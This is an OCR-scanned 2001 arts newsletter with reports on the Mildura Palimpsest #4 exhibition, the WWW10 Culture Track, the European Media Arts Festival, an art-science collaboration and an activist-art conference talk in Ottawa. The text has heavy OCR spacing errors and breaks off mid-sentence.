Mildura Palimpsest # 4 
April 2001 
By Ken Orchard 

Ken Orchard exhibited work in 
Palimpsest #4 and the concurrent 
touring exhibition "Lake Mungo 
Revisited"at the Mildura Arts Centre 
in April 2001. 

The following essay written by Ken 
Orchard has been reproduced with 
thanks to Mildura Arts Centre, 
Mildura Rural City Council, Arts 
Victoria, Sunraysia Institute of TAFE 
and Latrobe University, Mildura. 
Mildura Arts Centre is an operational 
unit of the Mildura Rural City Council 
and is supported by Arts Victoria. 

Each t i m e a Pal impsest press release has 
arrived in t he mail over t he past 12 
months it has been imbued w i t h a 
t ang ib l e sense o f e x c i t e m e n t . Ever 
e x p a n d i n g horizons t o n e w creat ive 
possibili t ies have been the order o f t he 
day .The d e v e l o p m e n t a l m o m e n t u m 
that has accompl i shed this even t has 
been extraordinary since it is on ly in its 
fourth year. In part this is understand
able g iven its institutional ped ig ree (a 
c o m m e n d a b l e heir t o t he Mildura 
Sculpture Triennials, first s t aged at the 
Mildura Arts Centre 40 years a g o this 
yea r ) , its s t rategic g e o g r a p h i c posit ion in 
t he south east quadrant o f Australia, 
and the t i m e l y init iat ive o f the Mildura 
Arts Centre. 

M o r e particularly t h o u g h , since its 
incept ion, Pal impsest has been accom
panied by a national me t ropo l i t an and 

Mildura Palimpsest #4 2001 
Doolan, "And then there were none"(detail), 2001 
Photo courtesy Ken Orchard 

regional g round swel l o f interest in 
w h a t is happen ing out the re in our 
hinterlands, t o social and e c o n o m i c 
communi t i e s , t o t he e n v i r o n m e n t and in 
t he bodies politic, be t hey manager ia l , 
mon i to r ing structures or policy d e v e l o p 
m e n t think tanks .The w o r d on every
body's lips o f course, like t he th ing itself, 
is w a t e r - w h e r e it c o m e s f rom, h o w it is 
distr ibuted, h o w reticulated, conserved , 
in tercepted, c o m m o d i f i e d , and mos t 
impor tan t ly h o w its qual i ty can be 
improved and preserved. A natural 
corollary o f this - land - its ownersh ip , 
custodianship and m a n a g e m e n t has 
also been at t he centre o f intense 
discussions and deba te s wi th in regional 
c o m m u n i t i e s and b e t w e e n State and 
Federal agenc ie s for t h e past decade . 
There fo re it may not c o m e as such a 
surprise t o o b s e r v e that the phi losophi

cal t e n e t o f Pal impsest s eems t o have 
corralled the interest o f a large sect ion 
o f t he c o m m u n i t y w i th just i f iable 
concerns for t he env i ronment , and 
focussed our a t ten t ion again on the 
p o w e r o f nature. By this I don ' t mean its 
s e e m i n g l y inexhaust ib le ability t o 
r e n e w its organic functions, but also its 
uncanny knack t o act as a conduit or 
m e d i u m for cultural e x c h a n g e and t o 
insinuate itself at eve ry level o f discus
sion wi th in society. 

It s e e m s t o m e that events like 
Pal impsest behave like a catalyst wh ich 
acts on an already ex tan t but 
unact ivated and diffuse body o f knowl
e d g e , genera l concern and perhaps 
harder t o de f ine spiritual yea rn ing 
wi th in communi ty . And I hope it pro
vides for t he artists an encourag ing 
arena t o conduct their invest igat ions, 
t he results o f which are, for the mos t 
part, a lways hard w o n . 

It is very f i t t ing that Mildura has again 
been about b e c o m i n g an impor tan t 
thea t re o f communica t i on w h e r e peop le 
f rom all s tat ions in life can c o m e t o -
g e t h e r t o be mutual ly en l igh tened , 
cha l l enged , irritated, initiated... for it has 
a lways been a cultural crossroad and 
m e e t i n g place, long before Captain Sturt 
and his party c a m e across a large 
ga the r ing o f Abor ig ina l peop l e at the 
Murray-Dar l ing junct ion in 1830. Evi
d e n c e o f a g e old inter-tribal t radi t ions 
tha t cont inued t h roughou t t he nine
t een th century in t he face o f w h i t e 
occupat ion , encompassed and inte
gra ted p e o p l e across a tract o f country 
signif icantly larger than that prescribed 
by t he t e r m Sunraysia today. 

Ciphers o f t radi t ion can still be g l e a n e d 
in t he beautiful w o r d s that blanket t he 
landscape - M o u r n p o o l , Cowana , 
Coomea l l a , Wal lpo la , M i l l e w a , Yelta -
and t h e human and technical sciences 
have a ided our unders tanding w h e n 
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confronted by traces o f cultural tradi
t ions o f grea t ant iqui ty at sites such as 
Lake Victoria, Lake M u n g o and Lake Gol 
Gol. 

Significantly Palimpsest 's agenda has 
placed an emphas i s on and nutured the 
valuing o f t h e cross-fertil isation that 
can occur b e t w e e n science and art, and 
h o w both can inform each o ther and 
facilitate communica t ion at t he broad
est level. It h ighl ights t he role tha t 
science plays in our daily lives and 
foregrounds the potent ia l for t he 
m e t h o d o l o g i e s and processes o f each t o 
enter into a mutual ly beneficial dia
logue . 

Events in t he region have historically 
a lways galvanised a lively press, w h e t h e r 
by l amentab le act ion or laudable 
aspiration. 

A long litany o f journal ism in t he 
met ropol i tan press c o m m e n c i n g in t h e 
1840s w a s cont inued both locally and 
nationally in t he late n ine teenth and 
early t w e n t i e t h centuries by such able 
f igures as N.B. M c K a y , T h e V a g a b o n d , CJ. 
De Garis, Steele Blayde, J. Brady and 
Ernestine Hill a m o n g others . 

Pal impsest s eems set t o make a signifi
cant contr ibut ion t o this t radit ion, as it 
has harnessed a w h o l e n e w bevy o f 
t echno log ica l t oo l s for c o m m u n i c a t i n g 
wi th audiences in 2001. 

To stand under an open canopy o f 
fo l i age , or upon a cliff-top ove r look ing 
the Murray, t o feel t he crackle o f dried 
leaves and t w i g s underfoot , t o revisit 
and w o r k in places o f s ignif icance, 
exper ienced and ga the red t o o n e self in 
travels, and t o m e e t again w i t h old 
acquaintances are th ings I value grea t ly 
about Mildura. It's a place w h e r e 
loads tones abound in t he landscape 
w h e r e there is a s t rong sense o f t h e 
archival m e e t i n g the actual. 

The 10th International Wor ld 
W i d e W e b Conference 
( W W W 1 0 ) 
ist-sth M a y 2001 
Hong Kong 
By Kim M a c h a n 
W W W 3 h t tp : / / 
w w w . w w w i o . o r g 

The 10th International W o r l d W i d e W e b 
Conference ( w w w i o ) w a s held in H o n g 
Kong 1-5 M a y 2001. As the W W W 1 0 
repor ted ,"Reps f rom industry, academia , 
and g o v e r n m e n t wil l present latest 
d e v e l o p m e n t s in W e b t e c h n o l o g y w h i l e 
also address ing issues and cha l lenges 
facing the w e b c o m m u n i t y as it m o v e s 
into t he 21st century. 

The confe rence consists o f refereed 
paper sessions, poster sessions, panel 
sessions, a W3C track and six specialised 
tracks: Culture track, E c o m m e r c e on the 
W e b , Vendors track, the W e b and 
Education, W e b Internat ionalisat ion, and 
the W e b and Society." 

W h i l e t h e main thrust o f t h e conference 
w a s technical , t he Culture Track ran as a 
counter point t o introduce facets that 
deal w i th a large scope o f cultural issues 
and appl icat ions. A p p r o x i m a t e l y 25 
presenters part icipated over t he three-
day p r o g r a m . T h e topics and briefs 
out l ined on the w e b pages are 
fascinat ing reading and in principle 
cover many major cultural pit s tops. 
< h t t p : / / w w w . w w w i o . o r g / p r o g r a m / 
cu l tu re /p rogram.h tml> 

The plan o f t he Culture Track w a s t o 
bring a vast array o f issues into o n e 
con tex t . It a t t e m p t e d t o cover such a 
broad spectrum that it w a s a little 
o v e r w h e l m i n g t o absorb the d iverse 
areas o f exper t i se . The sessions of ten 
included very brief presentat ions 

th rough the panel sessions, s o m e t i m e s 
just 15 minutes . In a way, t h e actual 
documen ta t i on and out l ines presented 
on the w e b site w e r e more successful in 
raising issues. 

S o m e topics covered included: 

Digital Institutions and Cultural 
Resources. 
These w e r e essential ly case studies 
repor t ing on current projects by Stephen 
Selby ATARN (Asian Archery Arch ive ) , 
Monika Berko, Australian Nat ional 
Library (Picture Austral ia) , Sarah 
Kender ine ,The P o w e r h o u s e (1000 years 
o f t h e Olympic G a m e s : treasures f rom 
ancient G r e e c e ) . 

Changing Practices and Experiences. 
M o r e case studies on Rose Lockwood 
(localised l a n g u a g e use), Katsuhiro 
Mour i (3D graphics in science m u s e u m s ) 
and Elaine N g ( the use o f v i d e o ) . 

Promoting the Future of Online Culture. 
Eleanor Fink ( W o r l d b a n k ) and Al f redo 
Ronchi (Pol i tecnico di M i l a n o ) chaired 
this session. Both Ronchi and Fink are 
heavily involved in funnel l ing 
informat ion and r e c o m m e n d a t i o n s t o 
G8 S u m m i t and UNESCO. Eleanor Fink 
discussed the n e w portal that t h e Wor ld 
Bank has set up, 

< w w w . d e v e l o p m e n t g a t e w a y . o r g > 
descr ibing it as "an ambi t ious Internet 
init iat ive that provides a c o m m o n space 
for s takeholders t o w o r k col labora t ive ly 
in helping t o reduce w o r l d poverty". 
Interestingly, it has c o m m i t t e d a 
dedica ted space t o "culture". 

Online Arts: Kim Machan (MAAP), Fion Ng 
(Videotage). 
The Onl ine Arts session brought a very 
lively deba t e into play. As the re w e r e 
just t w o presenters, there w a s 
oppor tun i ty t o involve the audience in 
discussion. The presentat ion focused on 
artist's use th rough the Asia Pacific 
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regions . Fion N g , Director o f V i d e o t a g e 
spoke o f t he p rob lems involved w i th 
artists accessing t ra ining and 
oppor tun i ty t o b e c o m e involved in w e b 
based practice, w h i l e s h o w i n g works 
f rom V i d e o t a g e ' s on l ine "virtual gallery". 
< h t t p : / / w w w . v i d e o t a g e . o r g . h k / o o i / 
se t .h tml> 

Fion N g spoke o f t he g r o w t h f rom v i d e o 
and f i lm e v o l v i n g into onl ine practice 
which w a s we l l backgrounded by Elaine 
N g in her presentat ion earlier in t he day. 
I presented a series o f on l ine art works 
that used t e c h n o l o g y s imply and 
effect ively, ci t ing Young-hae Chang's 
w e b site < w w w . y h c h a n g . c o m > . T h e 
audience m a d e up f rom largely m u s e u m 
and academic populous reacted s t rongly 
t o t he e x a m p l e s w i th a m e m b e r o f staff 
f rom MIT proc la iming this w a s not 

Hong Kong airport train screen culture. 
Photo courtesy Kim Machan 

onl ine art and could similarly be 
achieved in v i d e o . Issues and deba t e 
revolved around even the fundamenta l 
ques t ions o f " w h a t is art" and the 
chasm b e t w e e n large budge t wes t e rn 
g o v e r n m e n t funded projects (such as 
M I T ) and the realities o f individual use 
o f t he internet by artists w o r k i n g in Asia 

b e c a m e ev iden t . This session w a s a 
place for t he individual artist's vo ice in a 
regional sense and it b e c a m e apparent 
that it w a s e x t r e m e l y useful condui t o f 
informat ion t o many a t t end ing the 
track w h o had little k n o w l e d g e o f w h a t 
w a s happen ing t h roughou t t he Asian 
countries. 

The Culture Track successfully 
demons t r a t ed the breadth o f cultural 
concerns wi th in t he internet and w a s 
largely a r epor t age fo rum. M a n y o f t he 
sessions w e r e created by placing 
t o g e t h e r projects tha t theore t ica l ly 
appeared t o be related but in practical 
presentat ion w e r e qui te r e m o t e . T h e 
g rea tes t issue s e e m e d t o be that there 
w a s little t i m e or abil i ty t o interrelate t o 
reach the "b ig ques t ions" courageous ly 
out l ined in t he discussion topics . 

H o w e v e r it w a s very useful t o see t he 
separate project sectors be ing t h r o w n 
into a po t t en ta t ive ly held t o g e t h e r w i th 
t he hope that this w o u l d fil ter th rough 
t o influential policy makers and a bet ter 
unders tanding o f an e x p a n d e d cultural 
agenda . 

The conference gave an overall 
landscape of cultural issues where 
artists were represented in the "Online 
Arts" session - a small representation 
but a representation nevertheless. 

Real HypE ?: European Media 
Arts Festival. 
April 2001 
Germany 
By Brent Grayburn 

The European M e d i a Arts festival 
[EMAF] brings t o g e t h e r a 
c ompre hens ive col lect ion o f European 
and international ar t is ts / ideas every 
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year in a quain t ma tchbox m o d e l t o w n 
in t he north w e s t corner o f 
industrialised Germany. 2001 s aw the 
usual c o n g l o m e r a t i o n o f con ten t 
e x p e c t e d f rom a festival o f this t ype . 
Film, v i d e o , R O M , sound art, sculpture 
and installation based interact ive 
t echno log i e s , all vy ing for posi t ion in a 
dense ly p ropor t ioned three-day 
ex t ravaganza . N e w media , media 
criticism and discussion, ref lected the 
current d e v e l o p m e n t s in media 
t e c h n o l o g y and media aesthet ics . Or at 
least if I w a s t o be l ieve t he hype 
distr ibuted a m o n g s t t he patrons and 
printed in ca ta logues , this w a s t o be my 
intro into a n e w terrain o f media 
awareness . R e m e m b e r i n g , it is not a 
ques t ion o f w h e t h e r t o accept or reject 
this n e w t e c h n o l o g y but w h o is using it 
and h o w . T h e s e margins create e m o t i v e 
dist inctions b e t w e e n inspiration and 
d i sappo in tmen t . 

The Festival consisted o f no f e w e r than 
134 f i lms or digital v i d e o s in t he 
international se lect ion. T w e l v e feature 
f i lms, 39 s tudent f i lms, 24 individual 
exhibi t ion works , six pe r fo rmances and 
45 CD R O M projects mean t a mel t d o w n 
o f t he t i m e / n e e d - t o - s e e ratio. Plus the 
re t rospect ive select ion conta ined 22 
f i lms f rom Canadian artist David 
R immer - a vast col lect ion o f visual 
ma te r i a l .The Congress /Forum focused 
it's emphas i s on s t reaming and on- l ine 
f i lm potent ia l for a ' N e w ' media artist -
w i t h a d i sappoin t ing o u t c o m e , m o r e 
later. 

The m o r e technical ly interest ing works 
t o e m e r g e f rom t h e genera l p rogram 
w e r e T h o m a s Bartels The day slows 
down as it progresses, Bernard 
Schreiner's Hwa-Shan-District, Taipei', 
W o l f g a n g lehmann and Florian 
Krautkramers ' Fointaine de Vaucluse. 
Here t h e artists arrive s imul taneously at 
an exp lo ra t ive junct ion o f m a d d e n i n g 
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disunity using s imply the natural terrain 
as a canvas t o in terpose an a lmos t 
'Tarkovskyian' rediscovery o f t he 
landscape. Rhythmic fast changes in 
focus, fast shutter speeds, aper ture 
variations. A s tut ter ing re-shoot ing o f 
the s a m e objec t f rom different ang les all 
a l low a surreal schizoid s lowness o f 
journey through w h a t w o u l d a t t e m p t t o 
be intensely normal ised env i ronmen t s . 
W o l f g a n g lehmann's spatial 
e n h a n c e m e n t o f t he t iny French t o w n o f 
Vaucluse and it's f amous natural 
fountain used over 84,000 s ingle f r ame 
i m a g e s f rom a tota l o f 270,000 shot over 
four seasons t o create a 65 m inu te 
m o n t a g e d compos i t i on o f f l o w i n g 
propr iocept ion that captured nature/ 
human in an intense dance about a 
single locality. 

Bernard Schreiner achieved a similar feel 
by f i lming the ghos t o f humanity. A 
deser ted industrial was t e l and in central 
Taipei. Here t h e city is depr ived , t he 
urban wal l s breached by an infini tude o f 
open ings and ruptured enc losures .The 
lens def ines an anxie ty o f si lence, o f 
broken industrial d reams by 
manipula t ing the rawness o f deso la t ion 
into urbanity. W e are t he ghos ts . 

The Exhibition Center s t aged ' Ins ide/ 
Outs ide ' an array o f installations, 
projection sys tems and objec t based 
in terac t ive / reac t ive sculpture. Rotraut 
Pape, Split Brain t ook a real t i m e t w i s t on 
Justine Cooper 's early MRI v i d e o works 
by incorporat ing 60 sequent ia l MRI 
brain scans into a c o m p u t e r running a 
MIDI t r i gge red infra-red de tec t ion 
sys tem. M a l e and f e m a l e brain scans are 
posi t ioned beside each other. Slight 
m o v e m e n t s wi th in a def ined radius 
act ivated a se lected i m a g e t o be 
projected on t o a wal l in front . A nice 
work until t he unnecessary 
accompany ing i m a g e r y o f high coloured 
landscapes, t ee th , and pop corporeal i ty 
are impor t ed . 

A surveil lance piece by Harun Farocki 
depic ts i m a g e s f rom a security camera 
in t he exercise yard o f a prison. A f igh t 
breaks out . Those not involved lie flat on 
the ground w i t h their arms over their 
heads in despera te submission. W h a t 
will f o l l o w wil l be a w a r n i n g call f rom a 
guard and then a fire o f rubber bullets. 
The i m a g e s are mute , t he p o w d e r 
smoke f rom the shots stretches across 
t he picture. 

Overall , t he ex t en t and qual i ty o f t he 
works w a s as e x p e c t e d . T h e forum on 
broad band potent ia l for artists w a s not, 
however , tha t s t imula t ing. 

W h a t w a s d i sappoin t ing w a s the lack o f 
organisa t ion and discussion in an arena 
currently more susceptible t o 
a d v a n c e m e n t s and discuss ion.The 
future o f practicing n e w media artists 
e n g a g i n g in s t r eaming con ten t should 
have been central t o t he festival 's e thos . 

For all t h e posi t ive aspects o f t he 
festival itself, t he congress t rudged 
th rough the actuali ty o f s t r eaming 
media as a l ternat ive exposure for n e w 
media arts. A p p e a r i n g t o turn blindly 
t o w a r d latent corporat isat ion and 
explo i ta t ion o f t he potent ia l , the 
select ion o f speakers leaned m o r e 
t o w a r d marke t ing than artistic 
endeavour . Business had smel t t he 
m o n e y b a g . Bitfilm and C a n a l w e b 
< w w w . c a n a l w e b . d e > are large, a lmos t 
corpora te enti t ies, s p a w n e d out o f t he 
Venture Capital haze o f t he late 
nineties. The agenda o f t hese t w o 
s e e m e d t o be t o control t he 
independen t art and fi lm making 
industry, muscle ou t small players and 
charge the user t o access t he data base.. 

W i t h P o w e r p o i n t presenta t ions o f their 
corpora te profi le spread out for all t o 
see, initiatives, s t rategies , corpora te 
goa l s w e r e paraded like ca twalk m o d e l s 

t o ent ice . I kept w o n d e r i n g w h e r e t he 
' expe r imen t ' in ' fest ival ' had g o n e . 

Onl ine f i lm w a s moral in its mildness . 
Station Rose < w w w . s t a t i o n r o s e . C O M > 
have put the ' tacky kitsch' back on line 
via clip on identi t ies . Wi th German 
audacity w e ' r e presented a ' l ive link-up' 
f rom a Frankfurt fest ival . But due t o t h e 
c o m p l e t e lack o f discussion w i t h our 
presenters relevant t o a d v a n c e m e n t s in 
t he philosophical ideals o f net-cast ing, 
and the fact that any ten-year-old can 
w e b - c a s t f rom their b e d r o o m using a 
$100 camera . Station Rose's s ignif icance 
here is lost. 

Spokespersons for t he media 
unwi t t ing ly d o precisely w h a t t hey say 
they do : t hey cover events . W h e n w e 
recogn ize w h a t it means t o cover an 
event , t he role o f t he media must be 
re thought . Holes in t he net are o p e n i n g s 
for t he imag ina t ion . This fo rum 
appeared t o present subtle plugs for 
t hose holes. Very little informat ion 
appeared relevant t o t he practi t ioners in 
t h e room. Like w h a t legal factors had t o 
be considered w h e n submi t t ing works 
for on- l ine access. W h e r e they see t he 
future role o f v i d e o and fi lm artists 
represented on- l ine in con tex t w i t h 
inevi table i m p r o v e m e n t s in digital TV 
and the possibili ty o f dual p la t forming . 

Did t hey consider their d o m i n a n c e 
aggress ive control? W h a t wil l 
'Broadband ' d o for artists, w h a t are t he 
f r e e d o m s and ramifications? W h a t is t he 
future for s t reaming media? Discussing 
' resolut ion ' and 'real t i m e ' could have 
actuated thinking. W h a t does 
' i ndependen t ' mean on-l ine? General ly 
speaking, t he c rowd response t o 
'quest ion t i m e ' w a s border ing on zero 
feedback . Due t o t h e con ten t or just 
plain b o r e d o m , I'm not sure. Either way.. . 
s i lence is not k n o w l e d g e . 
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Is this t he c o m m o d i f i c a t i o n o f 
c o m modif ica t ion? 

W h a t t he fo rum stung o f w a s a 
corpora te t ra ining c a m p set up t o 
conf igure and capital ise on the only 
avai lable pla t form for artists t o e x t e n d 
their profi le t o a w i d e r aud i ence .The 
not ion o f ' b r o a d b a n d ' instantly raises 
t he e y e b r o w s on t h e ques t ion " w h o 
del ivers t h e con t en t ? "The corpora te on 
s t age w e r e less concerned wi th 
de l iver ing con ten t as t hey w e r e w i t h 
control l ing it. The ' expe r imen t ' in 
' fest ival ' b e c o m e s 'deterrent ' . W h a t 
annoyed m e w a s the leg i t imisa t ion o f 
t hese corpora te practices by the festival 
organisers . For m e t o a rgue for 
main ta in ing the canon o f i ndependence 
in t he arena o f artistic n e w media is like 
d e m a n d i n g truth f rom te lev is ion . In life 
t he re are a lways conflicts w i t h 
reasoning. Practi t ioners ta lk ing t o 
practi t ioners next t i m e please . 

Despi te s o m e d i sappo in tmen t w i th 
EMAF, t he MEDIA program in Europe 
advances and e x p o s e s an intensely 
suppor t ive and culturally a w a r e 
program. 

Funded by the European Commiss ion , it 
p r o m o t e s t he circulation o f n e w media 
t h r o u g h o u t s o m e 50 festivals, 
present ing over 10,000 f i lms and v ideos 
t o a huge public aud ience .The support , 
if not t he d e m a n d , for this t y p e o f 
i ndependence in Europe (a per capita 
th ing?) grea t ly e x p o s e s many 
inefficiencies w i th funding cuts by t h e 
H o w a r d house. In Europe the artistic 
c o m m u n i t y is a w e l l suppor ted w i th t he 
current G e r m a n g o v e r n m e n t paying a 
w a g e t o regis tered practicing artists. 

I left e la ted and d isappoin ted; e la ted for 
m e e t i n g voices wi th in t he m e d i u m and 
idea- f l inging . A g o o d festival in a cute 
t o w n . 

Mildura Palimpsest #4,2001 -
Art and Science Symposium 
April 2001 
By Professor Stuart Hill and 
Kelly Mi l ton 

Exchange in union and unison 
Ups t ream Cliff is a cross-disciplinary 
project that g r e w f rom the practice o f 
Professor Stuart Hill (Foundat ion Chair 
Social Ecology, Universi ty o f Wes t e rn 
Sydney, e n t o m o l o g i s t , therapis t ) and 
Kelly Mi l t on (pract icing visual artist and 
lecturer) . 

For me, as an academic trained in science 
and with an associated bias for the 
tangible and known, it is particularly 
liberating to collaborate with an artist, 
who moves much more easily between 
what the senses reveal and what the 
imagination and intuition can deliver;for 
most of our world remains unknown, or 
only partially glimpsed, and can only be 
engaged with/through artistic processes. 
Professor Stuart Hill 

Social Ecology... funct ions wi th in t he 
s a m e polari t ies as artists do... 
researching across f ields t o conceptual ly 
fo rmula te and synthesise a r tworks .The 
innate artist vi r tues o f creativity, 
f lexibi l i ty and f luency balance the th ree 
pa rad igm approach o f social eco log i s t s 
w h e n critically analys ing future social 
and ecologica l sys tems. 

If science and technology are to move to 
the next stage in their development, 
which is necessary if they are to stop 
causing so much havoc to our ecological 
and social systems, then it will be by 
engaging in such collaborations, and by 
learning how to be sensitive to the larger 
and more amazing phenomena of life 
and living than we are able to presently 
represent as data 
Professor Stuart Hill 

The project itself d e v e l o p e d in key 
s tages . The incept ion o f Ups t ream Cliff 
t ook place across h o m e compu te r 
screens, w h e r e d i a logue w a s concerned 
w i t h t he intricacies o f each arts /science 
practice and p rob lems in a m a l g a m a t i o n 
both t o formal i sed presentat ion. It then 
e v o l v e d during a U W S Social Ecology 
field study t o t he Blue Mounta ins , 
w h e r e b y g e o l o g i c a l , scientific and 
eco log ica l t h e m e s o f ' S e n s e o f Place ' 
w e r e deba t ed a m o n g s t academics and 
students, and rearranged w i t h several 
ar t / ins ta l la t ion workshops led by 
M i l t o n . Focus for Pal impsest e v e n t 
resolved into concerns of: f l o w s b e t w e e n 
k n o w i n g / u n k n o w i n g , points o f intuition, 
magic , and sacred space .The final phase 
cu lmina ted w i th t he presentat ion o f a 
t h r ee -me t r e installation piece exhib i ted 
at t h e Aurora Warehouse , Red Cliffs, 
Victoria . 

Ups t ream Cliff, as an installation, w a s 
presented as a site - o f unspoken 
l anguage , a space t o g i v e or receive 
informat ion , a place o f connect ion . A 
point o f transit, or m e e t i n g ground for 
an audience w h o could accept 
informat ion and impulses . As w i th rock 
engrav ings or paint ings, clues are g iven . 
The m e d i u m w e chose: gl i t ter (for its 
del icacy and t ransparency) w a s used as 
a vein o f substance for a linear 
representat ion. An o p e n - e n d e d t ree o f 
w i s d o m w a s encased wi th an 
increas ing/decreas ing interlinked 
( r a inbow gl i t t e r ) ecologica l spiral, an 
a n a l o g y o f D N A strands, or an upward / 
d o w n w a r d t ide o f ex is tence . 

N o t a b l e key speakers at t he Sympos ium 
included Professor James Bowle r 
( g e o m o r p h o l o g y and env i ronmenta l 
reconstruct ion) , M a r y E. W h i t e 
(Pa laeobo tan i s t ) , Dr. Ian Gunn (Director, 
Animal G e n e S to rage Research Centre) , 
and Dennis Summers (Ass. Professor o f 
Art , CCSD, M i c h i g a n ) . Summers ' presence 
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was we l l just if ied in his s ignif icant art 
piece The Crying Post Project, a 
conduct ive o u t d o o r installation piece 
that responded t o human presence and 
frequencies. 

M o r e notable w a s the audience o f 
artists, w h o s e response t o t h e theor ies 
presented w e r e validly analytical and 
reflected confl ic t ing agendas presented. 
Stuart w a s invited t o conclude the 
Sympos ium, and spoke t o f e l l o w science 
academics and artists o f t he va lue o f 
col laborat ive partnerships, and 
advoca ted artist input in t h e future o f 
cross-genre m o d e l s o f academic 
practice. 

The project and a r twork can be v i e w e d 
on the Pal impsest site at <abc.net .au> or 
< h t t p : / w w w . m e d iaust .com.au/ 
pa l impses t_200i /main_framese t .h tml> 
a longs ide a hysterical r ev i ew by Victoria 
A d a m s . M o r e important ly , there is a 
documen ta ry r ev i ew by Judy Copeland 
on Arts Talk archive, at t he s a m e w e b 
site. 

Democratic Communicat ions 
in a Branded Wor ld 
M a y 2001 
Canada 
By Deborah Kelly 

I w a s thrilled t o hear on April 21 tha t m y 
applicat ion for assistance th rough the 
A N A T Conference and Workshops Fund 
had been successful. It m e a n t tha t I 
could a t tend the Democratic 
Communications in a Branded World 
conference in O t t a w a , Canada, at which I 
had been invi ted t o present a paper 
ent i t led Idea bombs and other incendiary 
devices. 

As the conference started on M a y 17,1 
had t o confirm my a t t endance (I had 
been put t ing the conference c o m m i t t e e 

o f f ) o rgan i se a t icket, a c c o m m o d a t i o n , 
presentat ion materials , and itinerary 
w i t h hectic, headless chicken speed . 

The conference p romised t o o p e n 
discussion around critical current issues 
o f t he c o m m u n i c a t i o n m o n o p o l i e s o f 
corporat ions, and t o canvas s trategic 
resistances around the w o r l d and across 
media . N a o m i Klein, author o f No Logo 
(and a personal he ro ine ) w a s the 
Keyno te Speaker. 

W h e n I arrived in Canada, I w a s startled 
( to put it mi ld ly) t o be in fo rmed by the 
conference organisers tha t t hey had 
m o v e d my session f rom a jo in t panel 
w i th th ree o ther presenters t o a o n e and 
a half hour session - all by myself. Crikey. 
So I spent t h e first couple o f days 
hypervent i la t ing w h i l e mass ively 
e x p a n d i n g my presentat ion t o try t o use 
this sudden luxury o f t i m e productively. 

B e t w e e n the l imited hours o f c o m p u t e r 
access ( to rewr i te m y presen ta t ion) 
kindly organised by o n e o f t he 
conference 's s tudent volunteers , I did 
a t tend several conference panels and 
lectures in t he lead-up t o my o w n . W h i l e 
t h e conference w a s set up t o discuss 
g loba l informat ion imper ia l i sm and 
h e g e m o n y , t he conference w a s 
d o m i n a t e d by Uni ted States academics 
w h o , it s e e m e d t o me , reproduced s o m e 
o f t he s a m e values o f their objec ts o f 
cr i t ique. W h e n they said "global", t hey 
m e a n t "in t he U.S., - and m a y b e Canada" 
and even the inclusion o f Canadian 
references w a s presented as a 
concession. 

This m e a n t that t h e cultural and 
discursive referential terrain w a s very 
l imited, and s o m e t i m e s just ignorant 
and w r o n g . It also m e a n t the re w e r e 
s o m e really irritated Canadians, not t o 
men t ion s t roppy Australians, at t h e 
conference . O f course, this si tuation 
g a v e rise t o t he mos t interest ing 

connec t ions o f t he conference , f o r g e d 
over (terrible, o r a n g e cheese ) 
sandwiches and in t he corridors o f 
Carleton University. 
Ano the r obv ious bias o f t h e confe rence 

One of six images in the Hey, hetro! project which 
appeared throughout Sydney CBD and suburbs on 
bus shelters, billboard, avantcards, in newspapers, 
magazines and online. 
Artist/Writer. Deborah Kelly. 
Photo by Jamie Dunbar, courtesy of the Sydney 
Star Observer. 

w a s t o w a r d the consumpt ion o f 
resistant tactics, rather than their 
product ion. W h a t I mean by this is that 
the sessions w e r e dramat ica l ly skewed 
t o w a r d academic discussion, p e d a g o g y 
and the a c a d e m y per se, w i th much less 
emphas i s on actual act iv ism-in- the-
w o r l d . The re w e r e only th ree o the r 
artists speaking at t he conference , and 
they all had t o share a sess ion .The 
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publicity and t i m e t a b l e w a s so poor that 
only four peop l e a t t ended . I w a s lucky 
that there w e r e a f e w p e o p l e there w h o 
had heard m e present at a related 
confe rence in San Francisco in 1998.They 
convinced their fr iends t o c o m e t o my 
session so that I did, at least, have an 
audience (o f abou t 30) t o talk to . 

I ta lked broadly about informat ion and 
dis informat ion s t ra tegies in Australia ( ie. 
the Nike 'activist ' bil lboards, t he federal 
Gov e rn m e n t ' s soo th ing TV gardener 
Greenhouse Gas C a m p a i g n ) and the 
need t o respond, and resist, creat ively.To 
part icipate in t he grea t info wars o f our 
t imes , w e need t o harness all avai lable 
l o w / h i g h t e c h n o l o g y and all our artistry. 
The assumed author i ty o f corpora te and 
g o v e r n m e n t media can be s imula ted 
and usurped wi th t e c h n o l o g i e s wh ich 
are n o w readily, w i d e l y and cheaply 
avai lable. 

I ta lked about t he project before us 
be ing b igge r than just ' uncool ing ' t he 
brand g o d s and g e t t i n g on TV in the 
w o r l d w i d e protest party circuit - that 
t he urgent task is t o recruit, t o c h a n g e 
minds, t o make n e w sense avai lable t o 
mass audiences . M y thesis is that artists, 
activists and their allies need t o 
mater ia l ly in te rvene in t he creat ion o f 
communica t i ons t o lever open spaces in 
t h e cultural landscape for dissent ing 
v i e w p o i n t s . 

All my o w n w o r k seeks not t o f igh t t he 
ubiquity o f adver t is ing, but t o 
part icipate in t he cultural landscape 
using a l ready-establ ished iconographic 
and rhetorical conven t ions . I w e n t on t o 
illustrate t hese premises by s h o w i n g a 
se lec t ion o f i m a g e s f rom projects I 've 
been involved in, including (disastrous) 
republic c a m p a i g n material , t he Native 
Title Armband c ampa ign , t he Fashion 
Stinks project for Fairwear, t he Noah's 
Bagel Worker's project , w h a r f dispute 
work , and finally Hey, Hetero!, t he public 

art even t Tina Fiveash and I crea ted 
during the 2001 Mardi Gras Festival. 
Post-presentat ion discussion f rom the 
aud ience w a s very lively and 
s t imulat ing, and th rea tened t o run 
o v e r t i m e . So I adjourned, w i th t he w h o l e 
audience, t o t he local pub. 

At t he pub, and over t he course o f t h e 
rest o f t he conference , I m e t and talked 
t o a lot o f interest ing and kind peop le . It 
m a d e clear t o m e the true, a m a z i n g 
value o f the pr iv i lege o f present ing m y 
work overseas . 

Julie Frechet te and Carlos Fontes, 
Communica t i ons Professors at 
Worces t e r State Co l l ege in 
Massachussets , have invited m e t o d o a 
residency at that university, running art 
and act ivism workshops for their 
s tuden ts .They are currently 
inves t iga t ing funding a r rangement s . 
M a t t Soar, art director o f t he M e d i a 
Education Foundation is producing a 
profile abou t m y w o r k for N e w York-
based Print m a g a z i n e . A n g e l a Forster 
and Lisa Abendro th , Ar t History lecturers 
at t he Universi t ies o f Colorado and 
Denver, have ordered slides o f t he w o r k I 
s h o w e d , t o present t o their s tudents . 
I have m a d e cont inuing contact w i th 

Doro thy Kidd.an Indymedia Act ivis t in 
San Francisco. 

Closer t o h o m e , ano ther conference 
presenter, Elinor Rennie, f rom OUT in 
Brisbane, is n o w supervis ing funding 
